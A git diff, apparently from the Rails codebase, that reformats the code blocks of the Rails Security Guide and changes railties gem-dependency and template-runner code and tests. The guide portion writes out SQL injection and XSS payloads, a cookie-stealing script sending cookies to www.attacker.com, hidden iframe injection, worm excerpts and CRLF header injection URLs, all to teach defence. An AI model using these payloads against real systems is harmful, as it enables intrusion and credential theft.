Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
http://localhost:3006/user/activate
|
||||
http://localhost:3006/user/activate?id=
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
|
||||
|
||||
|
@ -437,9 +437,9 @@ User.find_by_activation_code(params[:id])
|
|||
|
||||
If the parameter was nil, the resulting SQL query will be
|
||||
|
||||
<pre>
|
||||
<sql>
|
||||
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
|
||||
</pre>
|
||||
</sql>
|
||||
|
||||
And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
|
||||
|
||||
|
@ -534,9 +534,9 @@ end
|
|||
|
||||
This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
file.txt%0A<script>alert('hello')</script>
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
|
||||
|
||||
|
@ -599,9 +599,9 @@ Project.find(:all, :conditions => "name = '#{params[:name]}'")
|
|||
|
||||
This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
|
||||
|
||||
<pre>
|
||||
<sql>
|
||||
SELECT * FROM projects WHERE name = '' OR 1 --'
|
||||
</pre>
|
||||
</sql>
|
||||
|
||||
The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
|
||||
|
||||
|
@ -615,9 +615,9 @@ User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password
|
|||
|
||||
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
|
||||
|
||||
<pre>
|
||||
<sql>
|
||||
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
|
||||
</pre>
|
||||
</sql>
|
||||
|
||||
This will simply find the first record in the database, and grants access to this user.
|
||||
|
||||
|
@ -631,16 +631,16 @@ Project.find(:all, :conditions => "name = '#{params[:name]}'")
|
|||
|
||||
And now let's inject another query using the UNION statement:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
This will result in the following SQL query:
|
||||
|
||||
<pre>
|
||||
<sql>
|
||||
SELECT * FROM projects WHERE (name = '') UNION
|
||||
SELECT id,login AS name,password AS description,1,1,1 FROM users --')
|
||||
</pre>
|
||||
</sql>
|
||||
|
||||
The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
|
||||
|
||||
|
@ -686,36 +686,36 @@ The most common XSS language is of course the most popular client-side scripting
|
|||
|
||||
Here is the most straightforward test to check for XSS:
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<script>alert('Hello');</script>
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<img src=javascript:alert('Hello')>
|
||||
<table background="javascript:alert('Hello')">
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
h6. Cookie theft
|
||||
|
||||
These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
<script>document.write(document.cookie);</script>
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
The log files on www.attacker.com will read like this:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
|
||||
|
||||
|
@ -723,9 +723,9 @@ h6. Defacement
|
|||
|
||||
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an "actual attack":http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
|
||||
|
||||
|
@ -733,10 +733,10 @@ A more specialized attack could overlap the entire web site or display a login f
|
|||
|
||||
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
|
||||
<script src=http://www.securitylab.ru/test/sc.js></script><!--
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
h6. Countermeasures
|
||||
|
||||
|
@ -746,16 +746,16 @@ Especially for XSS, it is important to do _(highlight)whitelist input filtering
|
|||
|
||||
Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
|
||||
|
||||
<pre>
|
||||
<ruby>
|
||||
strip_tags("some<<b>script>alert('hello')<</b>/script>")
|
||||
</pre>
|
||||
</ruby>
|
||||
|
||||
This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
|
||||
|
||||
<pre>
|
||||
<ruby>
|
||||
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
|
||||
s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
|
||||
</pre>
|
||||
</ruby>
|
||||
|
||||
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
|
||||
|
||||
|
@ -765,24 +765,24 @@ h6. Obfuscation and Encoding Injection
|
|||
|
||||
Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
|
||||
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks.
|
||||
|
||||
h5. Examples from the underground
|
||||
|
||||
</pre> _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
|
||||
_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
|
||||
|
||||
The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
|
||||
target=""onload="var http_request = false; var Email = '';
|
||||
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
|
||||
|
||||
|
@ -800,27 +800,27 @@ CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":ht
|
|||
|
||||
MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<div style="background:url('javascript:alert(1)')">
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
alert(eval('document.body.inne' + 'rHTML'));
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:
|
||||
|
||||
<pre>
|
||||
<html>
|
||||
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
|
||||
</pre>
|
||||
</html>
|
||||
|
||||
Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
|
||||
|
||||
|
@ -839,24 +839,24 @@ h4. Textile Injection
|
|||
For example, RedCloth translates +_test_+ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
|
||||
|
||||
|
||||
<pre>
|
||||
>> RedCloth.new('<script>alert(1)</script>').to_html
|
||||
=> "<script>alert(1)</script>"
|
||||
</pre>
|
||||
<ruby>
|
||||
RedCloth.new('<script>alert(1)</script>').to_html
|
||||
# => "<script>alert(1)</script>"
|
||||
</ruby>
|
||||
|
||||
Use the :filter_html option to remove HTML which was not created by the Textile processor.
|
||||
|
||||
<pre>
|
||||
>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
|
||||
=> "alert(1)"
|
||||
</pre>
|
||||
<ruby>
|
||||
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
|
||||
# => "alert(1)"
|
||||
</ruby>
|
||||
|
||||
However, this does not filter all HTML, a few tags will be left (by design), for example <a>:
|
||||
|
||||
<pre>
|
||||
>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
|
||||
=> "<p><a href="javascript:alert(1)">hello</a></p>"
|
||||
</pre>
|
||||
<ruby>
|
||||
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
|
||||
# => "<p><a href="javascript:alert(1)">hello</a></p>"
|
||||
</ruby>
|
||||
|
||||
h5. Countermeasures
|
||||
|
||||
|
@ -882,10 +882,10 @@ If your application has to execute commands in the underlying operating system,
|
|||
|
||||
A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
|
||||
|
||||
<pre>
|
||||
<ruby>
|
||||
system("/bin/echo","hello; rm *")
|
||||
# prints "hello; rm *" and does not delete files
|
||||
</pre>
|
||||
</ruby>
|
||||
|
||||
|
||||
h4. Header Injection
|
||||
|
@ -896,30 +896,30 @@ HTTP request headers have a Referer, User-Agent (client software), and Cookie fi
|
|||
|
||||
Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
|
||||
|
||||
<pre>
|
||||
<ruby>
|
||||
redirect_to params[:referer]
|
||||
</pre>
|
||||
</ruby>
|
||||
|
||||
What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
|
||||
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
(...)
|
||||
Location: http://www.malicious.tld
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
|
||||
|
||||
|
@ -927,7 +927,7 @@ h5. Response Splitting
|
|||
|
||||
If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
|
||||
|
||||
<pre>
|
||||
<plain>
|
||||
HTTP/1.1 302 Found [First standard 302 response]
|
||||
Date: Tue, 12 Apr 2005 22:09:07 GMT
|
||||
Location:
Content-Type: text/html
|
||||
|
@ -942,7 +942,7 @@ Keep-Alive: timeout=15, max=100 shown as the redirected page]
|
|||
Connection: Keep-Alive
|
||||
Transfer-Encoding: chunked
|
||||
Content-Type: text/html
|
||||
</pre>
|
||||
</plain>
|
||||
|
||||
Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
|
||||
|
||||
|
|
|
@ -72,13 +72,14 @@ module Rails
|
|||
rescue Gem::LoadError
|
||||
end
|
||||
|
||||
def dependencies
|
||||
return [] if framework_gem?
|
||||
return [] if specification.nil?
|
||||
def dependencies(options = {})
|
||||
return [] if framework_gem? || specification.nil?
|
||||
|
||||
all_dependencies = specification.dependencies.map do |dependency|
|
||||
GemDependency.new(dependency.name, :requirement => dependency.version_requirements)
|
||||
end
|
||||
all_dependencies += all_dependencies.map(&:dependencies).flatten
|
||||
|
||||
all_dependencies += all_dependencies.map { |d| d.dependencies(options) }.flatten if options[:flatten]
|
||||
all_dependencies.uniq
|
||||
end
|
||||
|
||||
|
@ -149,6 +150,8 @@ module Rails
|
|||
end
|
||||
|
||||
def unpack_to(directory)
|
||||
return if specification.nil? || File.directory?(gem_dir(directory)) || framework_gem?
|
||||
|
||||
FileUtils.mkdir_p directory
|
||||
Dir.chdir directory do
|
||||
Gem::GemRunner.new.run(unpack_command)
|
||||
|
|
|
@ -85,6 +85,7 @@ module Rails
|
|||
# Adds an entry into config/environment.rb for the supplied gem :
|
||||
def gem(name, options = {})
|
||||
log 'gem', name
|
||||
env = options.delete(:env)
|
||||
|
||||
gems_code = "config.gem '#{name}'"
|
||||
|
||||
|
@ -93,18 +94,26 @@ module Rails
|
|||
gems_code << ", #{opts}"
|
||||
end
|
||||
|
||||
environment gems_code
|
||||
environment gems_code, :env => env
|
||||
end
|
||||
|
||||
# Adds a line inside the Initializer block for config/environment.rb. Used by #gem
|
||||
def environment(data = nil, &block)
|
||||
# If options :env is specified, the line is appended to the corresponding
|
||||
# file in config/environments/#{env}.rb
|
||||
def environment(data = nil, options = {}, &block)
|
||||
sentinel = 'Rails::Initializer.run do |config|'
|
||||
|
||||
data = block.call if !data && block_given?
|
||||
|
||||
in_root do
|
||||
gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
|
||||
"#{match}\n " << data
|
||||
if options[:env].nil?
|
||||
gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
|
||||
"#{match}\n " << data
|
||||
end
|
||||
else
|
||||
Array.wrap(options[:env]).each do|env|
|
||||
append_file "config/environments/#{env}.rb", "\n#{data}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -356,6 +365,17 @@ module Rails
|
|||
File.open(path, 'wb') { |file| file.write(content) }
|
||||
end
|
||||
|
||||
# Append text to a file
|
||||
#
|
||||
# ==== Example
|
||||
#
|
||||
# append_file 'config/environments/test.rb', 'config.gem "rspec"'
|
||||
#
|
||||
def append_file(relative_destination, data)
|
||||
path = destination_path(relative_destination)
|
||||
File.open(path, 'ab') { |file| file.write(data) }
|
||||
end
|
||||
|
||||
def destination_path(relative_destination)
|
||||
File.join(root, relative_destination)
|
||||
end
|
||||
|
|
7
vendor/rails/railties/lib/tasks/gems.rake
vendored
|
@ -47,8 +47,8 @@ namespace :gems do
|
|||
require 'rubygems'
|
||||
require 'rubygems/gem_runner'
|
||||
Rails.configuration.gems.each do |gem|
|
||||
next unless !gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name)
|
||||
gem.unpack_to(Rails::GemDependency.unpacked_path) if gem.loaded?
|
||||
next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name
|
||||
gem.unpack_to(Rails::GemDependency.unpacked_path)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -59,8 +59,7 @@ namespace :gems do
|
|||
require 'rubygems/gem_runner'
|
||||
Rails.configuration.gems.each do |gem|
|
||||
next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name
|
||||
gem.dependencies.each do |dependency|
|
||||
next if dependency.frozen?
|
||||
gem.dependencies(:flatten => true).each do |dependency|
|
||||
dependency.unpack_to(Rails::GemDependency.unpacked_path)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -133,7 +133,7 @@ class GemDependencyTest < Test::Unit::TestCase
|
|||
dummy_gem.add_load_paths
|
||||
dummy_gem.load
|
||||
assert dummy_gem.loaded?
|
||||
assert_equal 2, dummy_gem.dependencies.size
|
||||
assert_equal 2, dummy_gem.dependencies(:flatten => true).size
|
||||
assert_nothing_raised do
|
||||
dummy_gem.dependencies.each do |g|
|
||||
g.dependencies
|
||||
|
|
|
@ -82,6 +82,17 @@ class RailsTemplateRunnerTest < GeneratorTestCase
|
|||
assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com'")
|
||||
end
|
||||
|
||||
def test_gem_with_env_string_should_put_gem_dependency_in_specified_environment
|
||||
run_template_method(:gem, 'rspec', :env => 'test')
|
||||
assert_generated_file_with_data('config/environments/test.rb', "config.gem 'rspec'", 'test')
|
||||
end
|
||||
|
||||
def test_gem_with_env_array_should_put_gem_dependency_in_specified_environments
|
||||
run_template_method(:gem, 'quietbacktrace', :env => %w[ development test ])
|
||||
assert_generated_file_with_data('config/environments/development.rb', "config.gem 'quietbacktrace'")
|
||||
assert_generated_file_with_data('config/environments/test.rb', "config.gem 'quietbacktrace'")
|
||||
end
|
||||
|
||||
def test_environment_should_include_data_in_environment_initializer_block
|
||||
load_paths = 'config.load_paths += %w["#{RAILS_ROOT}/app/extras"]'
|
||||
run_template_method(:environment, load_paths)
|
||||
|
|